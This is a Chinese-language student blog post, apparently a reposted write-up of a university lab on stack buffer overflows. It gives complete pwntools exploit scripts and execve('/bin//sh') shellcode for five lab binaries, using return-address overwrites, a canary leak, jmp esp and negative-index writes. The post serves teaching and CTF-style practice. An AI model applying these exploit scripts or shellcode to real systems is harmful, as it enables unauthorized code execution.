ouc 网络安全实验 Stack Overflow Shellcode

2024-02-05 07:40

本文主要是介绍ouc 网络安全实验 Stack Overflow Shellcode,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

    • 要求
    • lab0
    • lab1
    • lab2
    • lab3
    • lab4

因为当时自己做实验的时候出现了很多疑问不会解决,在网上看到了一位大佬 王森ouc 的专栏文章解决了很多问题,也学到了很多知识和解决问题的方法,现在把我的实验解决方法也发上来,希望有不会的同学可以通过博文理解实验内容,同时能够熟练掌握这些知识。感谢这位大佬和课堂中帮助过我的同学老师。

注意:博文仅供学习参考使用,请勿直接复制粘贴,因个人复制粘贴造成的后果博主一概不负责任。

要求

lab7 包括 5 个题目 (lab7-[1-5]),请分析 5 个题目找到其中的漏洞,写出利用脚本并拿到 shell。其中 lab7-1/2/3 比较简单,主要考察栈溢出、shellcode 和canary 绕过等,lab7-4、lab7-5 增加了一点难度。

  1. 逆向分析二进制文件的逻辑,关注缓冲区的大小和读写操作,找出漏洞的位置和触发方法。
  2. 查看文件保护机制,调试、计算偏移、考虑利用方法。
  3. 编写利用脚本,拿到 shell。

lab0

在 IDA 里查看伪代码,发现 main 函数调用 sayhi() 函数,sayhi()函数调用 myread()函数,read 读取 256 个字符到地址(&v1)中。但是上面定义的 v1 是 char 型,只能存储一个字符,在调用 myRead 函数时,却让它读取 256 个字符,会发生栈溢出。

查看 seeme() 函数,发现该函数的功能就是拿到 shell。因此考虑通过栈溢出覆盖 sayhi 函数的返回地址,获取到 shellcode。栈示意图如下所示。

在这里插入图片描述

编写 python 代码,如下在终端运行。

from pwn import *
conn=process('./level0') 
seeme=0x080485B3 
conn.recv()
payload = b'a' * (0x28 + 4)+p32(seeme) 
conn.sendline(payload) 
conn.recv()
conn.interactive()

lab1

在 IDA 里查看伪代码,发现 sub_80484E9() 函数调用 myRead(int a1, int a2) 函数,通过 read() 函数读取 32 个字符到全局变量 unk_804A060 中,再输出读入的字符,最后再用 read 函数读 256 个字符到局部变量 v1 中。

实现溢出后就需要注入 shellcode。因为 sub_80484E9() 函数中的输出函数调用全局变量 unk_804A060 的地址,因此将 shellcode 代码注入全局变量 unk_804A060 中,此全局变量的地址是 0x0804A060。v1 在栈上的位置是 ebp-28h,return 语句输入的字符串的首地址是 v1的地址。首先可以输入 28h 个字符覆盖从 v1 到 ebp 的内容,再输入 4个字符覆盖旧的 ebp,最后输入存放 shellcode 指令的地址 0x0804A060(也就是全局变量的地址)即可,栈示意图如下所示。

在这里插入图片描述

编写 python 代码(如下),在虚拟机终端运行代码实现功能。

#!/usr/bin/env python3
from pwn import *
p = process('./level1') 
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe
3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
p.sendline(shellcode) 
getshell = 0x0804A060 
payload = b'a' * (0x28 + 4) + p32(getshell)
p.recvuntil('.\n')
p.sendline(payload)
p.interactive()

lab2

在 IDA 里查看伪代码,(如图 3-1)发现 main()函数调用 func()函数,func() 函数定义了 char 型变量 buf,然后又定义了一个 int 型的局部变量 v2,用来存放 canary 的值,可以通过读取 *MK_FP(GS, 20) 得到 canary。Result 等于 canary 和 v2 进行异或,如果两者相同,Result 等于 0,若不同,则会返回一个非零值。

本题中的 seeme()函数给出了获取 shellcode 的函数,因此不用自己再写。需要的时候将返回地址改为 seeme()函数的首地址 0x08048516 即可。

Func() 函数用 read 函数读取 0x28 个字节到 buf 中。但是 buf 是 char 型变量,在栈中只有 1 个字节的位置,如果读取 28h 个字节的话,会造成栈溢出。将数据读到 buf 之后,printf 函数输出 buf 中的内容,因为字符串以\x00 作为结束标记,所以 printf 在读到 \x00 的时候就知道这个字符串结束了。而 canary 的最低字节是\x00,v2(即本题中的 canary)在栈中的首地址是 ebp-0Ch,而且本题中低地址存放低字节,所以 ebp0Ch 指向的字节单元的值就是\x00。因此如果在输入 buf 的内容时,多输入几个字符覆盖 ebp-0Ch,printf 函数在输出到 ebp-0Ch 的时候,没有发现\x00,就会继续输出后面 canary 的值。

buf 在栈上的位置是 ebp-24h,v2 在栈上的位置是 ebp-Ch,输入 24 个字符填充 ebp-24h 到 ebp-Ch 的栈内容,再多输入一个字符覆盖 ebp-Ch处的\x00。之后用输出的 canary(注意 canary 的最低字节需要恢复成\x00)填充 v2(四字节),填充到了 ebp-8h。再用 8 个字符填充到 ebp,用 4 个字符覆盖 ebp,最后用 seeme()函数的入口地址覆盖返回地址,因此输入字符串应该为:24 个填充字符+canary+12 个填充字符+seeme函数入口地址,栈示意图如图所示。

在这里插入图片描述

编写 python 代码(如下),在虚拟机终端运行代码实现功能。

#!/usr/bin/env python3
from pwn import *
p = process('./level2') 
offset = 0x24-0xC 
p.send('a' * (offset + 1)) 
p.recvuntil('a' * (offset + 1))
canary = b'\x00' + p.recv(3) 
payload = b'a' * offset + canary + b'a' * 12 + b'\x16\x85\x04\x08'
p.send(payload)
p.recvuntil('a' * offset + '\n')
p.interactive()

lab3

查看 IDA 生成的伪代码,发现 main()函数调用readerFunc()函数,readerFunc() 函数调用了 getLens() 函数,getLens()函数在输入完 buf 的值之后,会问是否需要修改输入的数据(Y/N),然后通过 read()函数读取 16 个字符。

getLens() 函数在输入完 v2 的值之后,会问是否需要修改输入的数据(Y/N),然后通过 read() 函数读取 16 个字符。buf 的栈空间位置是 ebp-18h,v2 的栈空间位置是 ebp-Ch,相差 12 个字节内存空间,但是读了 16 个字节的数据,所以多出来的四个字节会覆盖 v2 原来的值,也就是 readerFunc() 函数中读取数据的长度可以被改变。通过这种方法,可以读入比规定长度(32 字节)长的数据,从而造成缓冲区溢出。所以输入的字符串长度是:2Ch (覆盖 buf 到 ebp)+ 4(覆盖旧的 ebp)+ 4(新的返回地址) + shellcode 指令的长度= 4Dh。getLens() 函数的栈情况如图所示。

在这里插入图片描述

实现溢出后就需要注入 shellcode。readerFunc() 函数中不像 Level 1 一样有全局变量,存在可以确定的绝对地址。如果把 shellcode 写到 buf里,只能确认它的地址是 ebp-2Ch,但是 ebp 每次运行的时候都不一样,所以不能确定 shellcode 指令的入口地址。调试发现每次 ret 前,esp都指向 ret 下面那条指令,也就是 ebp+8,所以把 shellcode 覆盖到这里。在返回地址处写入 jmp esp 指令的地址,实现函数跳转。

编写 python 代码(如下),在虚拟机终端运行代码实现功能。

from pwn import*
p = process('./level3')
retAddr = '\x6b\x88\x04\x08' 
shellcode = 'a' * 48 + retAddr + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'
sendstr = 'a' * 12 + '\x4d\x00\x00\x00' 
p.send('0')
p.send(sendstr)
p.recv()
p.send(shellcode)
p.interactive()

lab4

查看 IDA 生成的伪代码,发现 main() 函数调用 sayHi() 函数,sayHi() 函数用 scanf 读入 9 个字节到 v1,没有办法修改。令 result 等于*MK_FP(GS, 20)和 v2 的异或,又一次使用了 canary。之后在 createArr() 函数中通过循环,用 scanf 进行整数的读取,再对其输出。

在函数 createArr()中,int 型变量 v1 在 ebp-24h,int 型变量 v2 在ebp-20h,int 型变量 i 在 ebp-1Ch,int 型数组 s 大小为 3,在栈里的 ebp-18h 位置上。最后是存放 canary 的 v5(canary 机制在本题没有用),在栈的 ebp-Ch。整个栈空间如图所示。

在这里插入图片描述

再次分析 createArr() 函数,首先输入 v1 作为数组 s 的下标,要求输入的数字不能大于 3,否则程序退出,再输入整数 v2 作为 s[v1]。因为程序没有设置输入数字的最小值,所以 v1(数组下标)可以是负数。由图 5-4 可看出,返回地址在栈里的位置是 ebp+4,假设输入的索引在 eax 里,数组的首地址为 ebp-18h,那么 ebp - 18h (数组首地址)+ 4 * eax (覆盖的栈的数量 * int 型 4 字节)= ebp + 4(返回地址),因此令 eax =1Ch/4,最高两位写成 10 或 11,就可以保证eax 为负数且满足覆盖条件。

手动注入 shellcode 的地址和 Level 3 的思路一样,把 shellcode 注入到返回地址的下面,即 ebp+8 的位置,然后让返回地址的值为 jmp esp 指令的地址,实现函数跳转。

本题的注入方法和上一个不一样。上一个直接输入就可以,这一题函数用 i 计数,只允许进行三次输入。i 比数组 s 的首地址低 4 个字节(如图 5-4),即 i 在 s[-1]的位置。因为函数内部只要求数组下标大于等于 0,所以输入的 v1 为 -1 ,v2 为想要输入的次数变形后的值。比如想再循环读 5 次,就应该输入 v2 的值为-3,即 s[-1]=-3,相当于 i=-3,这样 i 的值就可以被改变。同时注意如果输入 v2 的值为 -2 的话,完成本此循环后,i 会在当前输入的基础上自加,变成-1,只能再进行四次循环。

编写 python 代码(如下),在虚拟机终端运行代码实现功能。

from pwn import*
def HexToInt(data):width = 32dec_data = int(data, 16) if dec_data > 2 ** (width - 1) - 1:dec_data = 2 ** width-dec_datadec_data=0-dec_datadec_data = '%d' %dec_datareturn dec_data
p = process('./level4')
p.sendline('testtes')
indexs = ['80000007', 'ffffffff', '80000008', '80000009', '8000000a', '8000000b', '8000000c','8000000d', '8000000e']
values = ['804885b', 'fffffffb', '6850c031','68732f2f','69622f68','50e3896e','31e18953', 'cd0bb0d2', '80']
for i in range(9):p.sendline(HexToInt(indexs[i]))p.sendline(HexToInt(values[i]))
p.recv()
p.interactive()

这篇关于ouc 网络安全实验 Stack Overflow Shellcode的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/680208

相关文章

C++——stack、queue的实现及deque的介绍

目录 1.stack与queue的实现 1.1stack的实现  1.2 queue的实现 2.重温vector、list、stack、queue的介绍 2.1 STL标准库中stack和queue的底层结构  3.deque的简单介绍 3.1为什么选择deque作为stack和queue的底层默认容器  3.2 STL中对stack与queue的模拟实现 ①stack模拟实现

如何做好网络安全

随着互联网技术的飞速发展,网站已成为企业对外展示、交流和服务的重要窗口。然而,随之而来的网站安全问题也日益凸显,给企业的业务发展和用户数据安全带来了巨大威胁。因此,高度重视网站安全已成为网络安全的首要任务。今天我们就来详细探讨网站安全的重要性、面临的挑战以及有什么应对方案。 一、网站安全的重要性 1. 数据安全与用户隐私 网站是企业存储和传输数据的关键平台,包括用户个人信息、

STM32(十一):ADC数模转换器实验

AD单通道: 1.RCC开启GPIO和ADC时钟。配置ADCCLK分频器。 2.配置GPIO,把GPIO配置成模拟输入的模式。 3.配置多路开关,把左面通道接入到右面规则组列表里。 4.配置ADC转换器, 包括AD转换器和AD数据寄存器。单次转换,连续转换;扫描、非扫描;有几个通道,触发源是什么,数据对齐是左对齐还是右对齐。 5.ADC_CMD 开启ADC。 void RCC_AD

HNU-2023电路与电子学-实验3

写在前面: 一、实验目的 1.了解简易模型机的内部结构和工作原理。 2.分析模型机的功能,设计 8 重 3-1 多路复用器。 3.分析模型机的功能,设计 8 重 2-1 多路复用器。 4.分析模型机的工作原理,设计模型机控制信号产生逻辑。 二、实验内容 1.用 VERILOG 语言设计模型机的 8 重 3-1 多路复用器; 2.用 VERILOG 语言设计模型机的 8 重 2-1 多

网络安全运维培训一般多少钱

在当今数字化时代,网络安全已成为企业和个人关注的焦点。而网络安全运维作为保障网络安全的重要环节,其专业人才的需求也日益增长。许多人都对网络安全运维培训感兴趣,那么,网络安全运维培训一般多少钱呢?   一、影响网络安全运维培训价格的因素   1. 培训内容的深度和广度   不同的网络安全运维培训课程涵盖的内容有所不同。一些基础的培训课程可能主要涉及网络安全基础知识、常见安全工具的使用等,价

Java-数据结构-栈和队列-Stack和Queue (o゚▽゚)o

文本目录: ❄️一、栈(Stack):     ▶ 1、栈的概念:   ▶ 2、栈的使用和自实现:      ☑ 1)、Stack():       ☑ 2)、push(E e):      ☑ 3)、empty():         ☑ 4)、peek(E e):        ☑ 5)、pop(E e):       ☑ 6)、size(E e):  ▶ 3、栈自实现的总代

61.以太网数据回环实验(4)以太网数据收发器发送模块

(1)状态转移图: (2)IP数据包格式: (3)UDP数据包格式: (4)以太网发送模块代码: module udp_tx(input wire gmii_txc ,input wire reset_n ,input wire tx_start_en , //以太网开始发送信

【网络安全】服务基础第二阶段——第二节:Linux系统管理基础----Linux统计,高阶命令

目录 一、Linux高阶命令 1.1 管道符的基本原理 1.2 重定向 1.2.1 输出重定向 1.2.2 输入重定向 1.2.3 wc命令基本用法 1.3 别名 1.3.1 which命令基本语法 1.3.2 alias命令基本语法 1.4 压缩归档tar 1.4.1 第一种:gzip压缩 1.4.2 第二种:bzip压缩 1.5 tar命令 二、VIM编辑器使用

LTspice模拟CCM和DCM模式的BUCK电路实验及参数计算

关于BUCK电路的原理可以参考硬件工程师炼成之路写的《 手撕Buck!Buck公式推导过程》.实验内容是将12V~5V的Buck电路仿真,要求纹波电压小于15mv. CCM和DCM的区别: CCM:在一个开关周期内,电感电流从不会到0. DCM:在开关周期内,电感电流总会到0. CCM模式Buck电路仿真: 在用LTspice模拟CCM电路时,MOS管驱动信号频率为100Khz,负载为10R(可自

120张网络安全等保拓扑大全

安全意识培训不是一个ppt通吃,不同的场景应该用不同的培训方式和内容http://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247484385&idx=1&sn=92f5e7f3ee36bdb513379b833651711d&chksm=c0e47abdf793f3ab7f4621b64d29c04acc03b45c0fc1eb613c37f3